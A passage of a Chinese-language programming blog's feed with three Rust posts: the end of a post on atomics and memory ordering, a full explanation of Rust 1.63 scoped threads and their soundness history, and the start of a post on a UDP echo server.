&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ol&gt;
&lt;li&gt;这里&lt;code&gt;swap&lt;&#x2F;code&gt;操作用&lt;code&gt;Acquire&lt;&#x2F;code&gt;序，即获取里面的&lt;code&gt;locked&lt;&#x2F;code&gt;值的时候用&lt;code&gt;Acquire&lt;&#x2F;code&gt;，如果读到是false，就可以和2的&lt;code&gt;Release&lt;&#x2F;code&gt;形成一个Happens-Before关系&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;store&lt;&#x2F;code&gt;操作使用&lt;code&gt;Release&lt;&#x2F;code&gt;序写入&lt;code&gt;false&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;cpp-memory-order&#x2F;spinlock-acquire-release.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;其实这里也隐含了lock&#x2F;unlock必须要在同一个线程里调用的条件。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;那么因为获取锁之后，可以保证别的地方不再访问该数据，所以可以通过guard来访问&lt;code&gt;T&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;impl SpinMutexGuard&amp;lt;&amp;#x27;_, T&amp;gt; {
    fn as_mut(&amp;amp;mut self) -&amp;gt; &amp;amp;mut T {
        &amp;#x2F;&amp;#x2F; Safety:
        &amp;#x2F;&amp;#x2F; 上锁了之后可以保证只有当前线程能访问数据，所以可以安全地返回&amp;amp;mut T
        unsafe { &amp;amp;mut* self.lock.data.get() }
    }
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这算是十分简单的接口了。当接口复杂起来，就不能这么简单地分析了。比如rust标准库里的scoped thread也曾因为没注意一些微小的区别导致data race &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;github.com&#x2F;rust-lang&#x2F;rust&#x2F;issues&#x2F;98498&quot;&gt;https:&#x2F;&#x2F;&lt;&#x2F;a&gt;&lt;strong&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;github.com&#x2F;rust-lang&#x2F;rust&#x2F;issues&#x2F;98498&quot;&gt;github.com&#x2F;rust-lang&#x2F;ru&lt;&#x2F;a&gt;&lt;&#x2F;strong&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;github.com&#x2F;rust-lang&#x2F;rust&#x2F;issues&#x2F;98498&quot;&gt;st&#x2F;issues&#x2F;98498&lt;&#x2F;a&gt;，有意思的是，这个bug是通过rust的MIRI跑出来的（一个基于rust MIR的一个解释器，可以用来发现代码中的未定义行为）&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;其实线程同步原语，背后其实也是由原子变量（以及一些线程的操作）所实现的，是一些线程同步模式的封装。不过同是一类同步原语，系统做的和用户自己实现的效果和开销也各不相同，比如系统提供的锁可能会因为内核态到用户态的切换导致开销 会比 单纯在用户态实现的锁开销更大。
而大多数没有lock-free算法或者wait-free算法的情况下，用原子变量实现的线程同步效果，不过又是在靠近业务的地方又实现了一把更细粒度的锁，是否真的比系统提供的锁更快，还真的不一定。
另外单线程也未必比多线程更慢，因为单线程能更好地利用缓存，程序相对来说更好设计；而多线程有几乎不能避免的线程同步开销（这个开销甚至是主要开销），而且多线程的复杂度十分难控制，写出高性能程序的难度也更大。
但总之，对于性能的优化，一定还是需要通过足够的profile，才能确定哪种优化的更优，尤其在多线程的环境下&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h2 id=&quot;yuan-zi-bian-liang-de-di-ceng-shi-xian&quot;&gt;原子变量的底层实现&lt;&#x2F;h2&gt;
&lt;p&gt;直接一图流：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;cpp-memory-order&#x2F;atomic-variable-implementation.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;zong-jie&quot;&gt;总结&lt;&#x2F;h3&gt;
&lt;ol&gt;
&lt;li&gt;无数据竞争是线程安全的必要条件&lt;&#x2F;li&gt;
&lt;li&gt;通过线程同步来保证无数据竞争；&lt;&#x2F;li&gt;
&lt;li&gt;线程同步本质就是规定线程间语句的顺序关系（Happens-Before关系）&lt;&#x2F;li&gt;
&lt;li&gt;互斥锁通过unlock&#x2F;lock建立Happens-Before关系；而原子变量的操作通过内存顺序建立线程间Happens-Before关系&lt;&#x2F;li&gt;
&lt;li&gt;原子变量结合线程操作（挂起、唤醒）实现更多的线程同步原语&lt;&#x2F;li&gt;
&lt;li&gt;原子变量（及操作）在不同硬件上实现不一样，但一般都比非原子的版本开销大&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>深入 Rust 1.63 新特性 Scoped Thread</title>
        <published>2024-05-04T00:00:00+00:00</published>
        <updated>2024-05-07T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/深入-rust-1.63-新特性-scoped-thread/"/>
        <id>https://vercel.juzhong.asia/obsidian/深入-rust-1.63-新特性-scoped-thread/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/深入-rust-1.63-新特性-scoped-thread/">&lt;h1 id=&quot;shen-ru-rust-1-63-xin-te-xing-scoped-thread&quot;&gt;深入 Rust 1.63 新特性 Scoped Thread&lt;&#x2F;h1&gt;
&lt;h3 id=&quot;bei-jing-jie-gou-hua-bing-fa&quot;&gt;&lt;strong&gt;背景：结构化并发&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;Scoped Thread 对应的是一种叫做结构化并发（Structured Concurrency）概念的实现。&lt;&#x2F;p&gt;
&lt;p&gt;结构化并发是一个近几年来才被提出的新概念，旨在通过对并发的执行流进行封装，使得它们能够有确定的入口和出口，确保所有派生“线程”在出口之前完成，从而提高并发编程的确定性、质量和开发效率。&lt;&#x2F;p&gt;
&lt;p&gt;结构化并发的思想来源于结构化编程。在编程史上古年间，大家写代码都是像“面条”一样，没有结构。&lt;code&gt;goto &lt;&#x2F;code&gt;满天飞，直到 Dijkstra 专门写了一篇著名的名为 「Go To语句被认为有害（Goto statement considered harmful）」的论文，他在文章中批评了当时 &lt;code&gt;goto&lt;&#x2F;code&gt;语句的过度使用，并提出结构化编程概念，采用子程序、块结构、&lt;code&gt;for&lt;&#x2F;code&gt;循环以及&lt;code&gt;while&lt;&#x2F;code&gt;循环等结构，来取代传统的 &lt;code&gt;goto&lt;&#x2F;code&gt;。从此以后，代码的世界才有了结构，为大型软件的出现奠定了基础。&lt;&#x2F;p&gt;
&lt;p&gt;对于多线程并发来说，线程一旦运行，就像“脱缰野马”一样，不受控制。当然可以使用 &lt;code&gt;join&lt;&#x2F;code&gt;或锁等机制来实现同步，但是这完全依赖开发者自身的水平，很容易出错。结构化并发想实现的就是，让并发的若干个子线程和父线程之间存在一种结构：让语言本身保证当父线程的作用域结束时，子线程一定已经运行完毕。如果还有任意一个子线程没跑完，父线程都不会结束。某种意义上，子线程像是一个父线程的一个局部变量。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;xie-lou-qi-shi-lu-rust-shi-xian-jie-gou-hua-bing-fa-de-li-shi&quot;&gt;&lt;strong&gt;泄漏启示录：Rust 实现结构化并发的历史&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;在 Rust 1.0 之前，Rust 标准库中自带来结构化并发的实现，即 Scoped Thread。但是就在 1.0 稳定前一个月，有人发现了一个&lt;strong&gt;不健全（unsound）问题[1]&lt;&#x2F;strong&gt; ：通过标准库中 Scoped Thread 和 &lt;code&gt;Rc&lt;&#x2F;code&gt;一起配合使用可以在 Safe Rust 中构造出 UB。这一历史事件被称为&lt;strong&gt;泄漏启示录[2]&lt;&#x2F;strong&gt; 。&lt;&#x2F;p&gt;
&lt;p&gt;具体来说，Scoped Thread 的工作机制是，在启动一个Scoped Thread 时会返回一个 Guard 对象。当 Guard 对象被析构时，它会等待线程完成。这将保证子线程不会超过本地变量所在的当前栈帧。然后，有人就发现，可以通过 &lt;code&gt;Rc&lt;&#x2F;code&gt;可以构造一个循环引用，让引用的计数保持在零以上，就永远不可能执行析构函数drop，这样就会导致内存泄露。所以，通过 &lt;code&gt;Rc&lt;&#x2F;code&gt;就可以构造出让 Scoped Thread 的 Guard 对象永远都不会析构。这样，当作用域当前栈帧调用结束以后，子线程就能读取局部变量的值，造成 UB。&lt;&#x2F;p&gt;
&lt;p&gt;这个 Bug，不是 Rust 语言天生不健全，而是一种形式的不健全（导致泄漏的能力）转变为更糟糕的不健全形式（导致崩溃的能力）的一种方式。这个问题还直接造就了&lt;code&gt;std::mem::forget&lt;&#x2F;code&gt;由 Unsafe 被重新定义为 Safe。因为这个问题打破了 Rust 语言对析构函数一定会运行的假设。在 1.0 之前，内部的内存泄露被看作是一种 Unsafe，所以&lt;code&gt;std::mem::forget&lt;&#x2F;code&gt;之前是 Unsafe。&lt;&#x2F;p&gt;
&lt;p&gt;经过团队的紧急讨论，在 1.0 之前，还是把 Scoped Thread 的特性移除了。后来通过第三方库&lt;code&gt; crossbeam::Scope&lt;&#x2F;code&gt; 来安全地提供这个功能。但是官方还是希望标准库可以实现这个功能，于是在此事件四年之后又增加了 [RFC 3151] (&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;rust-lang.github.io&#x2F;rfcs&#x2F;3151-scoped-threads.html#motivation&quot;&gt;https:&#x2F;&#x2F;rust-lang.github.io&#x2F;rfcs&#x2F;3151-scoped-threads.html#motivation&lt;&#x2F;a&gt;) 来重新设计 Scoped Thread 。&lt;&#x2F;p&gt;
&lt;p&gt;时隔七年，历经 63 个版本迭代，Scoped Thread 现在终于重回标准库了！&lt;&#x2F;p&gt;
&lt;h3 id=&quot;1-63-ban-scoped-thread-te-xing-jie-shao&quot;&gt;&lt;strong&gt;1.63 版 Scoped Thread 特性介绍&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;终于说回正题了。Rust 1.63 Scoped Thread 相关文档地址：**[https:&#x2F;&#x2F;doc.rust-lang.org&#x2F;nightly&#x2F;std&#x2F;thread&#x2F;fn.scope.html&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;doc.rust-lang.org&#x2F;nightly&#x2F;std&#x2F;thread&#x2F;fn.scope.html%5B3%5D*&quot;&gt;3]*&lt;&#x2F;a&gt;*。目前还只能在 Nightly Rust 下使用，Rust 1.63 稳定版 将于 8 月 11 日发布。&lt;&#x2F;p&gt;
&lt;p&gt;先来看看标准库中普通线程的限制：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;let greeting = String::from(&amp;quot;Hello world!&amp;quot;);

let handle1 = thread::spawn({
    let greeting = greeting.clone();
    move || {
        println!(&amp;quot;thread #1 says: {}&amp;quot;, greeting);
    }
});

let handle2 = thread::spawn(move || {
    println!(&amp;quot;thread #2 says: {}&amp;quot;, greeting);
});

handle1.join().unwrap();
handle2.join().unwrap();
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;标准库中通用的线程&lt;code&gt;thread::spawn&lt;&#x2F;code&gt;因为存在 &lt;code&gt;F: &#x27;static&lt;&#x2F;code&gt;这样的限制，所以无法在子线程中借用主线程作用域中的局部变量。所以只能使用 &lt;code&gt;move&lt;&#x2F;code&gt;关键字将主线程的局部变量移动到子线程中。&lt;&#x2F;p&gt;
&lt;p&gt;相比之下， Scoped Thread 就可以打破这个限制：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;#![feature(scoped_threads)]
use std::thread;

fn main(){
    let mut a = vec![1, 2, 3];
    let mut x = 0;

    thread::scope(|s| {
        s.spawn(|| {
            println!(&amp;quot;hello from the first scoped thread&amp;quot;);
            &amp;#x2F;&amp;#x2F; We can borrow `a` here.
            dbg!(&amp;amp;a);
        });
        s.spawn(|| {
            println!(&amp;quot;hello from the second scoped thread&amp;quot;);
            &amp;#x2F;&amp;#x2F; We can even mutably borrow `x` here,
            &amp;#x2F;&amp;#x2F; because no other threads are using it.
            x += a[0] + a[2];
        });
        println!(&amp;quot;hello from the main thread&amp;quot;);
    });

    &amp;#x2F;&amp;#x2F; After the scope, we can modify and access our variables again:
    a.push(4);
    assert_eq!(x, a.len());
}

&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这样子线程中就可以直接借用 主线程当前作用域中的变量了，而不需要 &lt;code&gt;join&lt;&#x2F;code&gt;子线程。这就在 Rust 中实现了结构化并发。&lt;&#x2F;p&gt;
&lt;p&gt;标准库中支持 Scoped Thread 有优点也有缺点。&lt;&#x2F;p&gt;
&lt;p&gt;优点：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;这是一个常用且很实用的工具。&lt;&#x2F;li&gt;
&lt;li&gt;标准库提供一个统一的可靠实现，相比于个人自己实现更靠谱。&lt;&#x2F;li&gt;
&lt;li&gt;相比于使用 &lt;code&gt;thread::spawn&lt;&#x2F;code&gt;，不会有泄漏的风险。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;缺点就是会使标准库变大。&lt;&#x2F;p&gt;
&lt;p&gt;新的 Scoped Thread 经过重新设计避免了 1.0 之前的安全问题，用闭包来代替 Guard 的方式确保子线程可以自动 &lt;code&gt;join&lt;&#x2F;code&gt;。并且新的 Scoped Thread 和 &lt;code&gt;crossbeam::Scope&lt;&#x2F;code&gt;的实现完全不同。Scoped Thread 更高效，没有无限的内存使用。&lt;strong&gt;API&lt;&#x2F;strong&gt; 和 &lt;code&gt;crossbeam::Scope&lt;&#x2F;code&gt;也不一样，Scoped Thread 是可捕获的 Scope 对象而不是线程的 Scope 参数，没有 Result 返回类型，以及更简单的恐慌处理。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;1-63-ban-scoped-thread-de-shi-xian-ji-zhi&quot;&gt;&lt;strong&gt;1.63 版 Scoped Thread 的实现机制&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;新的 Scoped Thread 函数&lt;code&gt;scope&lt;&#x2F;code&gt;函数签名如下：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;pub fn scope&amp;lt;&amp;#x27;env, F, T&amp;gt;(f: F) -&amp;gt; T
where
    F: for&amp;lt;&amp;#x27;scope&amp;gt; FnOnce(&amp;amp;&amp;#x27;scope Scope&amp;lt;&amp;#x27;scope, &amp;#x27;env&amp;gt;) -&amp;gt; T,
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;看得出来，该函数只能传入 &lt;code&gt;FnOnce(&amp;amp;&#x27;scope Scope&amp;lt;&#x27;scope, &#x27;env&amp;gt;) -&amp;gt; T&lt;&#x2F;code&gt; 闭包。&lt;&#x2F;p&gt;
&lt;p&gt;其中&lt;code&gt;&#x27;scope&lt;&#x2F;code&gt;生命周期代表作用域本身的生命周期，一旦这个生命周期结束，所有的作用域线程就会被 &lt;code&gt;Join&lt;&#x2F;code&gt;。这个生命周期在 scope 函数内、f闭包之前开始，在 f闭包结束后返回，等作用域所有线程 &lt;code&gt;Join&lt;&#x2F;code&gt;后结束，但是在 scope返回之前。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;&#x27;env&lt;&#x2F;code&gt;生命周期表示作用域线程借用的任何内容的生命周期。&lt;&#x2F;p&gt;
&lt;p&gt;闭包中的 &lt;code&gt;Scope&lt;&#x2F;code&gt; 对象是一个结构体：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;&amp;#x2F;&amp;#x2F;&amp;#x2F; A scope to spawn scoped threads in.
&amp;#x2F;&amp;#x2F;&amp;#x2F;
&amp;#x2F;&amp;#x2F;&amp;#x2F; See [`scope`] for details.
#[stable(feature = &amp;quot;scoped_threads&amp;quot;, since = &amp;quot;1.63.0&amp;quot;)]
pub struct Scope&amp;lt;&amp;#x27;scope, &amp;#x27;env: &amp;#x27;scope&amp;gt; {
    data: Arc&amp;lt;ScopeData&amp;gt;,
    &amp;#x2F;&amp;#x2F;&amp;#x2F; Invariance over &amp;#x27;scope, to make sure &amp;#x27;scope cannot shrink,
    &amp;#x2F;&amp;#x2F;&amp;#x2F; which is necessary for soundness.
    &amp;#x2F;&amp;#x2F;&amp;#x2F;
    &amp;#x2F;&amp;#x2F;&amp;#x2F; Without invariance, this would compile fine but be unsound:
    &amp;#x2F;&amp;#x2F;&amp;#x2F;
    &amp;#x2F;&amp;#x2F;&amp;#x2F; ```compile_fail,E0373
    &amp;#x2F;&amp;#x2F;&amp;#x2F; std::thread::scope(|s| {
    &amp;#x2F;&amp;#x2F;&amp;#x2F;     s.spawn(|| {
    &amp;#x2F;&amp;#x2F;&amp;#x2F;         let a = String::from(&amp;quot;abcd&amp;quot;);
    &amp;#x2F;&amp;#x2F;&amp;#x2F;         s.spawn(|| println!(&amp;quot;{a:?}&amp;quot;)); &amp;#x2F;&amp;#x2F; might run after `a` is dropped
    &amp;#x2F;&amp;#x2F;&amp;#x2F;     });
    &amp;#x2F;&amp;#x2F;&amp;#x2F; });
    &amp;#x2F;&amp;#x2F;&amp;#x2F; ```
    scope: PhantomData&amp;lt;&amp;amp;&amp;#x27;scope mut &amp;amp;&amp;#x27;scope ()&amp;gt;,
    env: PhantomData&amp;lt;&amp;amp;&amp;#x27;env mut &amp;amp;&amp;#x27;env ()&amp;gt;,
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这个 &lt;code&gt;Scope&lt;&#x2F;code&gt; 结构体定义了 &lt;code&gt;&#x27;env&lt;&#x2F;code&gt; 和&lt;code&gt;&#x27;scope&lt;&#x2F;code&gt; 生命周期的关系。因为 &lt;code&gt;&#x27;env&lt;&#x2F;code&gt;是代表被作用域子线程借用的东西的生命周期，所以它的存活期不能比主线程的 &lt;code&gt;&#x27;scope&lt;&#x2F;code&gt;生命周期短，所以是 &lt;code&gt;&#x27;env: &#x27;scope&lt;&#x2F;code&gt;的关系。这意味着任何超过这个调用的东西，比如在 scope 之前定义的局部变量，都可以被作用域线程借用。&lt;&#x2F;p&gt;
&lt;p&gt;所以，&lt;code&gt;Scope&lt;&#x2F;code&gt;结构体中，通过 &lt;code&gt;scope:PhantomData&amp;lt;&amp;amp;&#x27;scope mut &amp;amp;&#x27;scope ()&amp;gt;&lt;&#x2F;code&gt; 和 &lt;code&gt;env: PhantomData&amp;lt;&amp;amp;&#x27;env mut &amp;amp;&#x27;env ()&amp;gt;&lt;&#x2F;code&gt; 这样的定义，为&lt;code&gt;&#x27;env&lt;&#x2F;code&gt; 和 &lt;code&gt;&#x27;scope&lt;&#x2F;code&gt; 设定了&lt;strong&gt;不变性（Invariance）[4]&lt;&#x2F;strong&gt; ，以便&lt;strong&gt;编译器&lt;&#x2F;strong&gt;可以识别生命周期收缩的情况。比如上面代码中注释示例：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;std::thread::scope(|s| {   &amp;#x2F;&amp;#x2F; --------------------- &amp;#x27;1 lifetime
    s.spawn(|| {
       let a = String::from(&amp;quot;abcd&amp;quot;); &amp;#x2F;&amp;#x2F; ----------------- &amp;#x27;2 lifetime
       s.spawn(|| println!(&amp;quot;{a:?}&amp;quot;)); &amp;#x2F;&amp;#x2F;  might run after `a` is dropped
    });
});
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这段代码中使用了 嵌套scope 线程，会发生编译错误。&lt;&#x2F;p&gt;
&lt;p&gt;因为 &lt;code&gt;s&lt;&#x2F;code&gt; 的生命周期实例是 &lt;code&gt;&#x27;1&lt;&#x2F;code&gt;，在第一层 scope 线程中定义的 &lt;code&gt;a&lt;&#x2F;code&gt; 生命周期为 &lt;code&gt;&#x27;2&lt;&#x2F;code&gt;，在嵌套的scope线程中，闭包产生了 &lt;code&gt;a&lt;&#x2F;code&gt;的借用&lt;code&gt;&amp;amp;a &lt;&#x2F;code&gt;，闭包的生命周期实例是 &lt;code&gt;&#x27;3&lt;&#x2F;code&gt;。此时，生命周期的关系是 &lt;code&gt;&#x27;3 &amp;lt; &#x27;2 &amp;lt; &#x27;1&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;而 &lt;code&gt;&#x27;3&lt;&#x2F;code&gt;是 &lt;code&gt;&#x27;env&lt;&#x2F;code&gt;类型的生命周期，&lt;code&gt;&#x27;2&lt;&#x2F;code&gt;是 &lt;code&gt;&#x27;scope&lt;&#x2F;code&gt;生命周期，上面的 Scope 对象生命周期参数定义是 &lt;code&gt;&#x27;env: &#x27;scope&lt;&#x2F;code&gt;，即 &lt;code&gt;&#x27;env &amp;gt; &#x27;scope&lt;&#x2F;code&gt;。所以这里违反了不变性，编译错误。&lt;&#x2F;p&gt;
&lt;p&gt;除了通过生命周期参数来让编译器安全检查保证 Scoped Thread 的引用正确性。内部还通过 &lt;code&gt;Arc&amp;lt;ScopeData&amp;gt;&lt;&#x2F;code&gt;对运行的线程和panic的线程进行记录。当运行的线程不等于&lt;code&gt; 0&lt;&#x2F;code&gt; 时，主线程就一直 &lt;code&gt;park&lt;&#x2F;code&gt;阻塞，直到运行的线程为&lt;code&gt;0&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;yan-shen-yue-du&quot;&gt;&lt;strong&gt;延伸阅读&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;strong&gt;内存泄漏是否被认为违反了内存安全？[5]&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;** &lt;code&gt;mem::forget&lt;&#x2F;code&gt;**  &lt;strong&gt;是 unsafe 的，但完全可以用 safe 代码实现相同效果[6]&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;tokio RFC 实现异步实现结构化并发：tokio::task::scope [7]&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;h4 id=&quot;can-kao-zi-liao&quot;&gt;&lt;strong&gt;参考资料&lt;&#x2F;strong&gt;&lt;&#x2F;h4&gt;
&lt;p&gt;[1]&lt;&#x2F;p&gt;
&lt;p&gt;不健全（unsound）问题: &lt;em&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;rust-lang&#x2F;rust&#x2F;issues&#x2F;24292&quot;&gt;Issue #24292 · rust-lang&#x2F;rust&lt;&#x2F;a&gt;&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;p&gt;[2]&lt;&#x2F;p&gt;
&lt;p&gt;泄漏启示录: &lt;em&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;cglab.ca&#x2F;&quot;&gt;http:&#x2F;&#x2F;cglab.ca&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;em&gt; &lt;em&gt;~abeinges&#x2F;blah&#x2F;everyone-poops&#x2F;&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;p&gt;[3]&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;doc.rust-lang.org&#x2F;nightly&#x2F;std&#x2F;thread&#x2F;fn.scope.html&quot;&gt;https:&#x2F;&#x2F;doc.rust-lang.org&#x2F;nightly&#x2F;std&#x2F;thread&#x2F;fn.scope.html&lt;&#x2F;a&gt;: &lt;em&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;doc.rust-lang.org&#x2F;nightly&#x2F;std&#x2F;thread&#x2F;fn.scope.html&quot;&gt;https:&#x2F;&#x2F;doc.rust-lang.org&#x2F;nightly&#x2F;std&#x2F;thread&#x2F;fn.scope.html&lt;&#x2F;a&gt;&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;p&gt;[4]&lt;&#x2F;p&gt;
&lt;p&gt;不变性（Invariance）: &lt;em&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;doc.rust-lang.org&#x2F;nomicon&#x2F;phantom-data.html&quot;&gt;https:&#x2F;&#x2F;doc.rust-lang.org&#x2F;nomicon&#x2F;phantom-data.html&lt;&#x2F;a&gt;&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;p&gt;[5]&lt;&#x2F;p&gt;
&lt;p&gt;内存泄漏是否被认为违反了内存安全？: &lt;em&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;internals.rust-lang.org&#x2F;t&#x2F;are-memory-leaks-considered-to-violate-memory-safety&#x2F;1674&quot;&gt;https:&#x2F;&#x2F;internals.rust-lang.org&#x2F;t&#x2F;are-memory-leaks-considered-to-violate-memory-safety&#x2F;1674&lt;&#x2F;a&gt;&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;p&gt;[6]&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;mem::forget&lt;&#x2F;code&gt; 是 unsafe 的，但完全可以用 safe 代码实现相同效果: &lt;em&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;rust-lang&#x2F;rust&#x2F;issues&#x2F;24456&quot;&gt;Issue #24456 · rust-lang&#x2F;rust&lt;&#x2F;a&gt;&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;p&gt;[7]&lt;&#x2F;p&gt;
&lt;p&gt;tokio RFC 实现异步实现结构化并发：tokio::task::scope : &lt;em&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;tokio-rs&#x2F;tokio&#x2F;issues&#x2F;2592&quot;&gt;Issue #2592 · tokio-rs&#x2F;tokio&lt;&#x2F;a&gt;&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>用Rust实现UDP Echo服务器和客户端</title>
        <published>2024-04-25T00:00:00+00:00</published>
        <updated>2024-04-25T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/用rust实现udp-echo服务器和客户端/"/>
        <id>https://vercel.juzhong.asia/obsidian/用rust实现udp-echo服务器和客户端/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/用rust实现udp-echo服务器和客户端/">&lt;h1 id=&quot;yong-rustshi-xian-udp-echofu-wu-qi-he-ke-hu-duan&quot;&gt;用Rust实现UDP Echo服务器和客户端&lt;&#x2F;h1&gt;
&lt;p&gt;今天，我们先来看一看&lt;strong&gt;如何用Rust实现基于UDP协议的Echo服务器和客户端&lt;&#x2F;strong&gt;，然后通过微调代码，来验证几个有趣的有关UDP协议的细节问题。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;udp-echofu-wu-qi&quot;&gt;UDP Echo服务器&lt;&#x2F;h2&gt;
&lt;p&gt;UDP Echo服务器的主要代码片段（完整的代码在文末）如下所示。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;fn main() {
    &amp;#x2F;&amp;#x2F; ...

    let address = &amp;quot;127.0.0.1:1234&amp;quot;;
    serve(address).unwrap_or_else(|e| error!(&amp;quot;{}&amp;quot;, e));
}

pub fn serve(address: &amp;amp;str) -&amp;gt; Result&amp;lt;(), failure::Error&amp;gt; {
    let server_socket = UdpSocket::bind(address)?;
    loop {
        let mut buffer = [0u8; 1024];
        let (size, src) = server_socket.recv_from(&amp;amp;mut buffer)?;
        debug!(&amp;quot;Handling data from {}&amp;quot;, src);
        print!(&amp;quot;{}&amp;quot;, str::from_utf8(&amp;amp;buffer[..size])?);
        server_socket.send_to(&amp;amp;buffer, src)?;
    }
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
